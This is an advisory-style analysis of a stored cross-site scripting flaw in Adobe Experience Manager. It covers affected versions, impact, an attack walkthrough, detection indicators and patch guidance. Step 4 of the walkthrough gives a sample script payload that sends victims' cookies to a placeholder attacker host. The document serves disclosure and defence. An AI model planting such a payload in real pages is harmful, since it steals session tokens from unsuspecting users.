CVE-2025-64872: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64872 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a high-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with Adobe releasing the advisory (APSB25-115) the same day. It carries a CVSS v3.1 base score of 4.8 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A high-privileged attacker can inject persistent malicious JavaScript into vulnerable AEM form fields; the script is stored server-side and executes in the browser of any victim who subsequently visits the page containing the vulnerable field. Exploitation requires network access, low attack complexity, high privileges, and user interaction (a victim browsing the affected page), with scope change indicating impact beyond the vulnerable component (Adobe Advisory).

Successful exploitation results in limited confidentiality and integrity impact — an attacker can steal session tokens, perform actions on behalf of the victim, or redirect users to malicious content within the context of the victim's browser session. Because the XSS payload is stored, it can affect multiple users who visit the compromised page without any further attacker interaction. Availability is not directly impacted by this vulnerability (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, accessible over the network.
2. Obtain high-privileged access: Authenticate to the AEM instance using a high-privileged account (e.g., administrator or author with elevated permissions).
3. Locate vulnerable form field: Navigate to an AEM page or component that contains a form field susceptible to stored XSS — typically a rich text editor, metadata field, or custom component input.
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Victim triggers execution: When a victim (e.g., another AEM user or site visitor) browses to the page containing the injected field, the malicious script executes in their browser, potentially stealing session cookies, credentials, or performing unauthorized actions on their behalf (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /crx/, /editor.html) from high-privileged accounts containing encoded script tags or JavaScript event handlers in request bodies.
• File System / Repository: Unexpected <script> tags or JavaScript URIs stored within JCR (Java Content Repository) node properties or page content nodes in the AEM repository.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-authored pages; unusual DNS lookups originating from end-user browsers after AEM page visits.
• Process/Browser: Unexpected redirects or pop-ups experienced by AEM users or site visitors when accessing specific AEM-managed pages (Adobe Advisory).

Adobe has released patches addressing CVE-2025-64872 in AEM 6.5.24.0 (on-premises) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. AEM Cloud Service customers receive updates automatically. For on-premises deployments, administrators should apply the Service Pack 6.5.24.0 as documented in the APSB25-115 advisory. As a temporary measure, restricting authoring access to only trusted, necessary accounts can reduce the risk of exploitation (Adobe Advisory).

The vulnerability was noted by automated vulnerability tracking services including Tenable, CIRCL Vulnerability Lookup, and INCIBE-CERT shortly after Adobe's December 9, 2025 disclosure. No significant independent researcher commentary or notable media coverage specific to CVE-2025-64872 has been identified, likely due to its medium severity rating and high privilege requirement limiting broader community interest (Adobe Advisory).